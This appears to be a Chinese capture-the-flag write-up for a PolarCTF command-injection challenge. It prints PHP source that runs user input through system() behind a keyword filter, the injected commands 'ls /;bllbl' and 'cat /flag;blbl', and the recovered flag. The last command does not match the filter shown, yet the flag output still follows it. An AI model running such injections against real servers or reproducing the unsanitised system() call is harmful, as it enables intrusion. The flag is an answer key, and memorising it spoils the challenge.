

一个执行命令的地方

输入你的命令 执行

一个执行命令的地方

输入你的命令 执行

no

发现尝试输入什么都会返回 no

目录扫描一下 这边用的御剑

发现了<http://b03cb505-b6b0-4441-afa9-3394da78554d.www.polarctf.com:8090/admin/admin.php>

ID	URL	Code	
1	http://b03cb505-b6b0-4441-afa9-3394da78554d.www.polarctf.com:8090/admin/admin.php	200	
2	http://b03cb505-b6b0-4441-afa9-3394da78554d.www.polarctf.com:8090/index.php	200	

blbl的备份界面

记性不好，没办法，我得自己保存一个源码备份。

[点击这里下载源码备份](#)

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Command Query Tool</title>
</head>
<body>
<h1>Command Query Tool</h1>
<form action="index.php" method="post">
  <label for="command">输入你的命令</label>
  <input type="text" id="command" name="command" required>
  <button type="submit">执行</button>
</form>

<?php
if (isset($_POST['command'])) {
  $command = $_POST['command'];
  if (strpos($command, 'bllbl') === false) {
    die("no");
  }
  echo "<pre>";
  system ($command);
  echo "</pre>";
}
?>
</body>
</html>
```

if (strpos(\$command, 'bllbl') === false)

这里发现我们输入的命令里 要有 bllbl 字符

那可以输入命令了 **ls /;bllbl**

一个执行命令的地方

输入你的命令

执行

```
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

cat /flag;blbl

一个执行命令的地方

输入你的命令

执行

flag{86bef3c8c8dacf54b1726ccd2fb6a7d7}